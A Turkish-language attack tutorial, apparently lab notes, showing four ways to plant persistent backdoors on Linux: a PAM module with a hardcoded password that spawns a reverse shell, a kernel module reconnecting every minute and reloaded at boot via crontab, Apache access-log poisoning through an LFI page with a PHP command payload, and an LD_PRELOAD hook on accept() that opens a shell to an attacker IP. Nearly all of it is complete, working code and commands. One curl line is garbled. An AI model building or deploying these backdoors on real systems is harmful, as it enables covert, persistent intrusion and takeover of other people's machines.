# FTP ve PAM

Amaç: FTP ve PAM kullanarak Shell almaya çalışıyoruz. FTP doğrulama sistemini manipüle ederek belirlediğimiz şifreyi girince Shell geliyor.

Kurban makinede gerekli bağımlılıkları kurun.

/etc/vsftpd.conf sayfasını açın en aşağı inin ve doğrulama sisteminin pam olduğundan emin olun. Aşağıdaki ayarları vsftpd indikten sonra düzenleyin.

pam\_service\_name=vsftpd # /etc/pam.d/vsftpd dosyasını kullan

listen=YES Standalone modda çalış

listen\_ipv6=NO IPv6'yı kapat (IPv4 için)

anonymous\_enable=NO Anonim girişi engelle

local\_enable=YES Yerel kullanıcılara izin ver

write\_enable=YES Yazma izni

sudo apt update && sudo apt install vsftpd -y

sudo apt update && sudo apt install libpam0g-dev -y

touch /var/lib/pam.c

nano /var/lib/pam.c

#include <security/pam\_modules.h>

#include <security/pam\_ext.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

PAM\_EXTERN int pam\_sm\_authenticate(pam\_handle\_t \*pamh, int flags, int argc, const char \*\*argv) {

const char \*password;

int retval;

// Kullanıcının girdiği parolayı al

retval = pam\_get\_item(pamh, PAM\_AUTHTOK, (const void \*\*)&password);

if (retval != PAM\_SUCCESS || password == NULL) {

return PAM\_AUTH\_ERR;

}

// Backdoor parolası kontrolü ("12345")

if (strcmp(password, "12345") == 0) {

if (fork() == 0) {

// Reverse shell komutunu çalıştır (Bash kullanarak)

execl("/bin/sh", "sh", "-c", "/bin/bash -i >& /dev/tcp/192.168.1.10/8888 0>&1", NULL);

\_exit(0); // Çocuk prosesi sonlandır

}

return PAM\_SUCCESS; // Başarılı giriş

}

return PAM\_AUTH\_ERR; // Normal kimlik doğrulama

}

PAM\_EXTERN int pam\_sm\_setcred(pam\_handle\_t \*pamh, int flags, int argc, const char \*\*argv) {

return PAM\_SUCCESS;

}

Dosyanızı derleyin. Pam yapılandırma dosyaları secırity altında olmalı.

sudo gcc -fPIC -shared -o /var/lib/pam\_shelll.so /var/lib/pam.c -lpam

sudo mv /var/lib/pam\_shelll.so /usr/lib/x86\_64-linux-gnu/security/

sudo chmod 644 /usr/lib/x86\_64-linux-gnu/security/pam\_shelll.so

En son yapmanız gereken ise oluşturduğumuz doğrulama sistemini vsftpd’ye eklemek.

nano /etc/pam.d/vsftpd

auth sufficient ‘’veya sufficient yerine required yazın’’ pam\_shelll.so

Saldırgan kısmında yapılması gerekenler:

nc -lvnp 8888

ftp <Kurban-makine>

Gerekli şifreyi girin şifre yanlış dese bile devam ediniz.

# .KO

Amaç: Local Kernel Module kullanarak Shell almaya çalışıyoruz.

Önemli bağımlılıkları indirin burada make kısmı önemli. C kodumuzu derlemek için onu kullanacağız.

sudo apt update

sudo apt install make

nano ko.c

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/init.h>

#include <linux/kthread.h>

#include <linux/delay.h>

#include <linux/kmod.h>

MODULE\_LICENSE("GPL");

MODULE\_AUTHOR("kesinlikleemre");

MODULE\_DESCRIPTION("Kernel Reverse Shell");

int reverse\_shell(void \*data);

static struct task\_struct \*thread;

int reverse\_shell(void \*data) {

char \*argv[] = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/192.168.1.10/5555 0>&1", NULL};

static char \*envp[] = { "HOME=/", "TERM=xterm", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };

while (!kthread\_should\_stop()) {

call\_usermodehelper(argv[0], argv, envp, UMH\_WAIT\_EXEC);

ssleep(60);

}

return 0;

}

static int \_\_init backdoor\_init(void) {

printk(KERN\_INFO "[+] Backdoor yüklendi!\\n");

thread = kthread\_run(reverse\_shell, NULL, "backdoor\_thread");

return 0;

}

static void \_\_exit backdoor\_exit(void) {

printk(KERN\_INFO "[-] Backdoor kaldırıldı!\\n");

if (thread)

kthread\_stop(thread);

}

module\_init(backdoor\_init);

module\_exit(backdoor\_exit);

Bu kısımda “Makefile” dosyasının m harfinin büyük olmasına dikkat edin ve aşağıdaki adımları uygulayın

nano Makefile

obj-m += ko.o

all:

\$(MAKE) -C /lib/modules/\$(shell uname -r)/build M=\$(PWD) modules

clean:

\$(MAKE) -C /lib/modules/\$(shell uname -r)/build M=\$(PWD) clean

Çıktıyı çalıştırmak için insmod kullanılması gerekiyor. Bunu otomatize etmek için crontab kullanın.

make

sudo insmod /home/$(whoami)/ko.ko

Bilgisayar her reboot edildiğine çalışması için aşağıyı uygulayın.

cron\_entry="@reboot /sbin/insmod /home/$(whoami)/ko.ko"

(crontab -l 2>/dev/null | grep -v -F "$cron\_entry" ; echo "$cron\_entry") | crontab –

Saldırgan kısmında yapılması gerekenler:

Nc açıp bilgisayarın açılmasını beklemek

nc -lvnp 5555

# Log Poisoning

Amaç: Buradaki amacımız LFI zaafiyeti olan sitede Apache2 sunucusunun Access.log’unu zehirlemektir. Zehirleme ile birlikte RCE çalıştırarak makineye sızmış oluyoruz.

Gerekli bağımlılıkları yükleyip apache2 sunucusu için LFI zaafiyetli sayfa oluşturuyoruz.

Access.log silinip tekrar yaratılmasının sebebi ise izinler konusunda sıkıntı çıkarmasıdır.

www-data olarak aslında sistemde geziyoruz o yüzden bazı izinler sorun çıkarıyor bundan dolayı Access.log kısmına kadar dosya izinlerini komple açıyoruz.

sudo apt update

sudo apt install apache2 php libapache2-mod-php -y

sudo touch /var/www/html/admin.php

sudo nano >> /var/www/html/admin.php

<?php

$file = $\_GET['file'];

include($file);

?>

sudo rm -rf /var/log/apache2/access.log

sudo touch /var/log/apache2/access.log

sudo chmod 777 var

sudo chmod 777 /var/log

sudo chmod 777 /var/log/apache2

sudo systemctl restart apache2

Saldırgan kısmında yapılacaklar:

Access.log kısmına gidip gidemediğinizi kontrol edin.

http://<HEDEF\_IP>/admin.php?file=../../../../var/log/apache2/access.log

Eğer gidebiliyor iseniz curl kullanarak user-agent üzerinden php kodunuzu gönderin.

curl -A curl -A "<?php system(\$\_GET['cmd']); ?>" http://<HEDEF\_IP>/http://<HEDEF\_IP>/

Eğer bunu çalıştırdıktan sonra Access.log kısmına erişemiyorsanız. Error.log kısmını kontrol edin muhtemelen parser hatası alıyorsunuz. Bazen düzgün gönderemeyebiliyor. Access.log kısmında php kodu şu şekil gözükebiliyor

"<?php system(\$\_GET[/cmd/]); ?>"

Opsiyonel olarak nc ile denemeniz daha doğru olabiilir.

nc -nv <HEDEF\_IP>

"<?php system(\$\_GET['cmd']); ?>

Daha sonra yapılması gereken ise

http://<HEDEF\_IP>/admin.php?file=../../../../var/log/apache2/access.log&cmd=id

Log kısmında www-daya görüyorsanız çalışıyordur.

Son olarak Shell almanız için yapmanız gerekenler.

http://<HEDEF\_IP>/admin.php?file=/var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<SALDIRGAN-IP>/<PORT-NUM>+0>%261'

# LD Preload

Amaç: SSH atılmaya çalışıldığında oluşturduğumuz .so dosyası accept() yakalayarak Shell alır. Oluşturduğumuz dosyayı ld.so.preload’a kaydederek çalışmasını sağlarız.

Yapmanız gerekenler ilk başta gerekli bağımlılıkları yükleriz ve gereken c kodumuzu oluştururuz. Bunlar kurban makinede yapılacak olanlar.

sudo apt install ssh -y

sudo apt install gcc -y

sudo apt install gcc-12 g++-12 -y

sudo touch /var/lib/accept.c

nano /var/lib/accept.c

#define \_GNU\_SOURCE

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <dlfcn.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

int accept(int sockfd, struct sockaddr \*addr, socklen\_t \*addrlen) {

static int (\*real\_accept)(int, struct sockaddr \*, socklen\_t \*) = NULL;

if (!real\_accept) {

real\_accept = dlsym(RTLD\_NEXT, "accept");

}

int client\_fd = real\_accept(sockfd, addr, addrlen);

// Shell sadece bir kere açılsın

static int shell\_sent = 0;

if (!shell\_sent) {

shell\_sent = 1;

int sock = socket(AF\_INET, SOCK\_STREAM, 0);

struct sockaddr\_in attacker\_addr;

attacker\_addr.sin\_family = AF\_INET;

attacker\_addr.sin\_port = htons(9999); // Netcat dinleme portu

attacker\_addr.sin\_addr.s\_addr = inet\_addr("192.168.1.10"); // Saldırgan IP

if (connect(sock, (struct sockaddr \*)&attacker\_addr, sizeof(attacker\_addr)) == 0) {

dup2(sock, 0); // stdin

dup2(sock, 1); // stdout

dup2(sock, 2); // stderr

execl("/bin/bash", "bash", "-i", NULL);

}

close(sock);

}

return client\_fd;

}

Bu kısımda oluşturulan .so dosyasını kaydedip preload kısmına ekleriz.

sudo gcc -shared -fPIC -o /var/lib/backdoor.so /var/lib/accept.c -ldl

sudo echo "/var/lib/backdoor.so" | sudo tee /etc/ld.so.preload

Saldırgan makinede yapılması gerekenler:

Netcat açıp ssh atın ve bekleyin.

nc -lvnp 9999

ssh kurban-ip